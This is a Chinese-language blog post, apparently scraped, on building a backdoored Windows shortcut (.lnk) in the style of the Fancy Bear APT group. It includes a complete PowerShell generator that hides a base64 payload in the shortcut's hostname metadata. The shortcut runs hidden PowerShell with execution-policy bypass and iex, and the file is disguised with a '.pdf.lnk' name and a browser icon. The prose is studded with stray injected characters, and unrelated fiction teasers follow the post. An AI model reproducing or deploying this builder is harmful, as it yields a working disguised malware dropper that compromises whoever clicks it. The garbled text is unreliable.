解析制作俄羅斯APT組織使用的快捷方式后門文件

**在Word或zip文檔中嵌入一個(gè)指向powershell的快捷方式文件(.lnk)缓熟,是一種已知的惡意軟件隱蔽傳播方法,就連涉嫌干擾美國(guó)大選的俄羅斯APT組織也經(jīng)常使用這種方法(參考:VolexityCrowdStrike)。例如,在奇幻熊(Fancy Bear)針對(duì)一些美國(guó)研究機(jī)構(gòu)的網(wǎng)絡(luò)滲透中减拭,就使用了一種很少見的快捷方式文件后門攻擊,通過該手段区丑,攻擊者不僅實(shí)現(xiàn)了powershell命令的嵌入執(zhí)行拧粪,還能把整個(gè)payload存儲(chǔ)在.lnk文件隱秘位置完成攻擊調(diào)用,受害者一不小心點(diǎn)擊了這種惡意的lnk文件沧侥,就會(huì)掉進(jìn)攻擊者布下的“陷阱”中可霎。
**

對(duì)紅方滲透人員來說,該攻擊手段和相關(guān)樣本的研究學(xué)習(xí)非常有用宴杀。本文中癣朗,我將展示如何制作“奇幻熊式”的惡意快捷方式文件(.lnk),通過該.lnk文件生成的惡意程序主體Dropper可應(yīng)用于滲透測(cè)試場(chǎng)景中旺罢。該Dropper程序包含.lnk文件目標(biāo)路徑區(qū)域powershell旷余、構(gòu)造精巧的調(diào)用腳本和嵌入payload三個(gè)主要部分,結(jié)構(gòu)流程如下圖抽象所示:


規(guī)避目標(biāo)系統(tǒng)的長(zhǎng)度限制

我們都知道扁达,在Windows系統(tǒng)中創(chuàng)建快捷方式文件非常簡(jiǎn)單:桌面環(huán)境下正卧,右鍵點(diǎn)擊鼠標(biāo),“新建”跪解,然后“快捷方式”炉旷,之后跳出一個(gè)要求輸入對(duì)象位置的對(duì)話框,以此就完成了一次.lnk文件創(chuàng)建。之后窘行,如下圖所示饥追,我們可以查看一下該lnk文件的屬性特征,并嘗試向其目標(biāo)路徑(target)中添加其它參數(shù)罐盔。



在.lnk文件屬性下的目標(biāo)路徑區(qū)域(target)中但绕,可以加入最多260個(gè)字符數(shù)。由于有字符數(shù)的限制翘骂,為了創(chuàng)建一個(gè)快捷方式后門壁熄,我們只能將lnk文件指向例如powershell的執(zhí)行程序,并在其中加入一段很小的經(jīng)過封裝的命令作為執(zhí)行參數(shù)碳竟。但是,要突破這種目標(biāo)路徑區(qū)域的最大字符限制狸臣,可以通過jscript創(chuàng)建的WScript Shell對(duì)象快捷方式來實(shí)現(xiàn)莹桅,該方式可以向目標(biāo)路徑區(qū)域添加達(dá)1096個(gè)字符數(shù)。擴(kuò)展增加后的目標(biāo)路徑區(qū)域如下圖十六進(jìn)制編輯器中所示:


對(duì)Lnk格式文件的利(làn)用

找到擴(kuò)展增加目標(biāo)路徑區(qū)域字符數(shù)的方法烛亦,就可以實(shí)現(xiàn)向指向powershell中傳遞更多的執(zhí)行參數(shù)诈泼,但對(duì)于熟諳.lnk文件格式的攻擊者來說,這種方法還不足以執(zhí)行足夠大煤禽、足夠精巧的調(diào)用腳本铐达。
當(dāng)一個(gè)快捷方式文件被創(chuàng)建之后,很多關(guān)于系統(tǒng)的元數(shù)據(jù)信息也被儲(chǔ)存在其lnk文件中檬果,例如驅(qū)動(dòng)器標(biāo)簽瓮孙、主機(jī)名稱等:


當(dāng)我研究了.lnk格式文件規(guī)范后發(fā)現(xiàn),這些元數(shù)據(jù)都可能包含了一個(gè)不限長(zhǎng)度的變量选脊。就拿主機(jī)名稱元數(shù)據(jù)來說杭抠,它可以儲(chǔ)存一個(gè)任意長(zhǎng)度的變量,而這點(diǎn)就可能被攻擊者利用恳啥,用來嵌入任意payload偏灿,即目標(biāo)路徑區(qū)域內(nèi)不允許執(zhí)行的、有長(zhǎng)度限制的payload钝的,攻擊者可以放到這里進(jìn)行隱蔽存儲(chǔ)和調(diào)用執(zhí)行翁垂。

創(chuàng)建快捷方式后門“陷阱”文件

有了以上這些信息之后,可以嘗試制作一個(gè)惡意的快捷方式陷阱文件硝桩。在這里沿猜,我直接選用系統(tǒng)內(nèi)置的powershell作為腳本編譯語(yǔ)言。以下是對(duì)該惡意lnk文件三個(gè)主體部分的制作思路:
第一部分亿柑,我們需要構(gòu)造一個(gè)調(diào)用payload的powershell腳本邢疙。
該腳本被以指向powershell執(zhí)行的編碼參數(shù)形式,存儲(chǔ)在lnk文件屬性的目標(biāo)路徑區(qū)域(target)中,當(dāng)受害者點(diǎn)擊了lnk文件之后疟游,該腳本將會(huì)被自動(dòng)執(zhí)行呼畸。這個(gè)精心構(gòu)造的腳本最終將會(huì)調(diào)用存儲(chǔ)在lnk文件主機(jī)名稱元數(shù)據(jù)區(qū)域的payload。以下是這個(gè)腳本的典型示例:


實(shí)現(xiàn)代碼:

#--Carving script: will find and decode the script block
#--embedded in the shortcuts hostname

$payloadStartIndexInShortcut=1000;
$payloadSize=100;
$shortcutFilename="interesting-title.lnk";
#create a byte array to store the encoded payload
$encodedPayloadBytes=New-Object byte[]($payloadSize);
#read the contents of the shortcut, starting from $payloadStart
$lnk=New-Object IO.FileStream $shortcutFilename,'Open','Read','ReadWrite';
$lnk.Seek($payloadStartIndexInShortcut,[IO.SeekOrigin]::Begin);
$lnk.Read($encodedPayloadBytes,0,$payloadSize);

#Base64 decode encoded payload
$decodedPayloadBytes=[Convert]::FromBase64CharArray($encodedPayloadBytes,0,$encodedPayloadBytes.Length);
$scriptBlock=[Text.Encoding]::Unicode.GetString($decodedPayloadBytes);
#execute payload (script block)
iex $scriptBlock;

第二部分就是突破目標(biāo)路徑區(qū)域長(zhǎng)度限制颁虐,創(chuàng)建指向powershell腳本的快捷方式文件蛮原;
最后一部分就是編寫payload,該payload可以是嵌入到lnk文件元數(shù)據(jù)區(qū)域變量的base64執(zhí)行程序另绩,可以執(zhí)行磁盤寫入或內(nèi)存寫入等其它惡意功能儒陨。

最終實(shí)現(xiàn)代碼

所有這三部分的最終代碼實(shí)現(xiàn)可以參考以下快捷方式后門“陷阱”文件創(chuàng)建代碼,該代碼為powershell腳本笋籽,包含payload配置選項(xiàng)蹦漠,并可用于滲透測(cè)試場(chǎng)景中,請(qǐng)勿用于非法目的车海。

#
# Create backdoored LNK file - by Felix Weyne
# Info: https://www.uperesia.com/booby-trapped-shortcut
# -Usage: place your powershell payload in $payloadContents
# -This payload can embed for instance an executable that needs
# -to be dropped to disk/loaded into memory
#

$shortcutName = "interesting-title-to-click-on.pdf.lnk"
$shortcutOutputPath = "$Home\Desktop\"+$shortcutName
$shortcutFallbackExecutionFolder="`$env:temp"
$payloadContents =
@'
    echo "This payload/script block can be huge, easily a few megabytes";
    echo $env:computername >> $Home\Desktop\IhaveRun.txt
    echo $env:computername >> $Home\Desktop\IhaveRun.txt
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($payloadContents)
$payload = [Convert]::ToBase64String($bytes)

function Convert-ByteArrayToHexString($inputByteArray)
{
    $String = [System.BitConverter]::ToString($inputByteArray)
    $String = $String -replace "\-",""
    $String
}

function Convert-HexStringToByteArray ($hexString) {
    $hexString = $hexString.ToLower()
    ,@($hexString -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}})
}

function CreateShortcut($payloadStart,$payloadSize) {

#<------>
#<Part 1: encode carving script>
#<------>

#$stP = startPayload, $siP = sizePayload,
#$scB = scriptblock, $lnk = filestream LNK file
#$b64 = base64 encoded scriptblok, $f=shortcut name
$carvingScript = @'
$stP,$siP={0},{1};
$f='{2}';
if(-not(Test-Path $f)){{
$x=Get-ChildItem -Path {3} -Filter $f -Recurse;
[IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;
'@ -f $payloadStart,$payloadSize,$shortcutName,$shortcutFallbackExecutionFolder
    write-host "Generated carvingscript:" -foregroundcolor "yellow"
    echo $carvingScript;
    $compressedCarvingScript = $carvingScript -replace "`n",''  -replace "`r",''

    # Convert string to base64 encoded command
    $bytes = [System.Text.Encoding]::UTF8.GetBytes( $compressedCarvingScript  )
    $encodedCommand = [Convert]::ToBase64String($bytes)

   
    #<------>
    #<Part 2: create shortcut with encoded carving script>
    #<------>

    $WshShell = New-Object -comObject WScript.Shell

    $Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
    $Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    $Shortcut.Arguments = "-win hidden -Ep ByPass `$r = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('$encodedCommand')); iex `$r;"
    #使用IE圖標(biāo)
    $Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll,242"
    #運(yùn)行窗口最小化
    $Shortcut.WindowStyle = "7"
    $Shortcut.Save()
}

#<------>
#<Part 3: find start of embedded payload (start of computer hostname)>
#<------>
write-host "Creating LNK with payload. This will enable us to see where the payload starts" -foregroundcolor "green"
$payloadSize = $payload.Length
CreateShortcut 9999 $payloadSize

$enc = [system.Text.Encoding]::UTF8
[string]$computerName = $ENV:COMPUTERNAME
$computerNameBytes = $enc.GetBytes($computerName.ToLower())

$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$computerNameInHex = (Convert-ByteArrayToHexString $computerNameBytes) -join ''

$startPayload = ($contentsLnkFile.IndexOf($computerNameInHex)) / 2
write-host "Start of payload in LNK file is at byte: #"$startPayload -foregroundcolor "green"

#<------>
#<Part 3: create new link with correct start of payload
#<------>
Remove-Item $shortcutOutputPath

CreateShortcut $startPayload $payloadSize
write-host "Output LNK file: "  $shortcutOutputPath -foregroundcolor "Cyan"


#<------>
#<Part 4: embed payload
#<------>
$payloadBytes = $enc.GetBytes($payload)
$payloadInHex = Convert-ByteArrayToHexString $payloadBytes
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$contentsLnkFile = $contentsLnkFile -replace $computerNameInHex,$payloadInHex;

$writeout = Convert-HexStringToByteArray $contentsLnkFile;
set-content -value $writeout -encoding byte -path $shortcutOutputPath;
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末笛园,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子侍芝,更是在濱河造成了極大的恐慌研铆,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,599評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件州叠,死亡現(xiàn)場(chǎng)離奇詭異棵红,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)咧栗,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,629評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門逆甜,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人楼熄,你說我怎么就攤上這事忆绰。” “怎么了可岂?”我有些...
    開封第一講書人閱讀 158,084評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵错敢,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我缕粹,道長(zhǎng)稚茅,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,708評(píng)論 1 284
  • 正文 為了忘掉前任平斩,我火速辦了婚禮亚享,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘绘面。我一直安慰自己欺税,他們只是感情好侈沪,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,813評(píng)論 6 386
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著晚凿,像睡著了一般亭罪。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上歼秽,一...
    開封第一講書人閱讀 50,021評(píng)論 1 291
  • 那天应役,我揣著相機(jī)與錄音,去河邊找鬼燥筷。 笑死箩祥,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的肆氓。 我是一名探鬼主播袍祖,決...
    沈念sama閱讀 39,120評(píng)論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼做院!你這毒婦竟也來了盲泛?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,866評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤键耕,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后柑营,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體屈雄,經(jīng)...
    沈念sama閱讀 44,308評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,633評(píng)論 2 327
  • 正文 我和宋清朗相戀三年官套,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了酒奶。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,768評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡奶赔,死狀恐怖惋嚎,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情站刑,我是刑警寧澤另伍,帶...
    沈念sama閱讀 34,461評(píng)論 4 333
  • 正文 年R本政府宣布,位于F島的核電站绞旅,受9級(jí)特大地震影響摆尝,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜因悲,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 40,094評(píng)論 3 317
  • 文/蒙蒙 一堕汞、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧晃琳,春花似錦讯检、人聲如沸琐鲁。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,850評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)围段。三九已至,卻和暖如春挡毅,著一層夾襖步出監(jiān)牢的瞬間蒜撮,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,082評(píng)論 1 267
  • 我被黑心中介騙來泰國(guó)打工跪呈, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留段磨,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,571評(píng)論 2 362
  • 正文 我出身青樓耗绿,卻偏偏與公主長(zhǎng)得像苹支,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子误阻,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,666評(píng)論 2 350

推薦閱讀更多精彩內(nèi)容